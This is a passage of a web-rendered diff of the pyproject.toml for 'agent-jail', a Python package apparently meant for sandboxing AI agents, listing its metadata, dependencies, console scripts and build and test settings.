+
"Programming Language :: Python :: 3.13",
|
|
25
|
+
"Topic :: Security",
|
|
26
|
+
"Topic :: Software Development :: Build Tools",
|
|
27
|
+
]
|
|
28
|
+
dependencies = [
|
|
29
|
+
"pyyaml>=6.0",
|
|
30
|
+
]
|
|
31
|
+
|
|
32
|
+
[project.urls]
|
|
33
|
+
Homepage = "https://github.com/szetaa/agent-jail"
|
|
34
|
+
Repository = "https://github.com/szetaa/agent-jail"
|
|
35
|
+
Issues = "https://github.com/szetaa/agent-jail/issues"
|
|
36
|
+
|
|
37
|
+
[project.optional-dependencies]
|
|
38
|
+
dev = [
|
|
39
|
+
"pytest>=7.0.0",
|
|
40
|
+
]
|
|
41
|
+
|
|
42
|
+
[project.scripts]
|
|
43
|
+
agent-jail = "agent_jail.cli:main"
|
|
44
|
+
aj = "agent_jail.cli:main"
|
|
45
|
+
|
|
46
|
+
[tool.hatch.build.targets.wheel]
|
|
47
|
+
packages = ["src/agent_jail"]
|
|
48
|
+
|
|
49
|
+
[tool.hatch.build.targets.sdist]
|
|
50
|
+
include = [
|
|
51
|
+
"/src",
|
|
52
|
+
"/README.md",
|
|
53
|
+
"/LICENSE",
|
|
54
|
+
]
|
|
55
|
+
|
|
56
|
+
[tool.pytest.ini_options]
|
|
57
|
+
testpaths = ["tests"]
|
|
58
|
+
pythonpath = ["src"]
|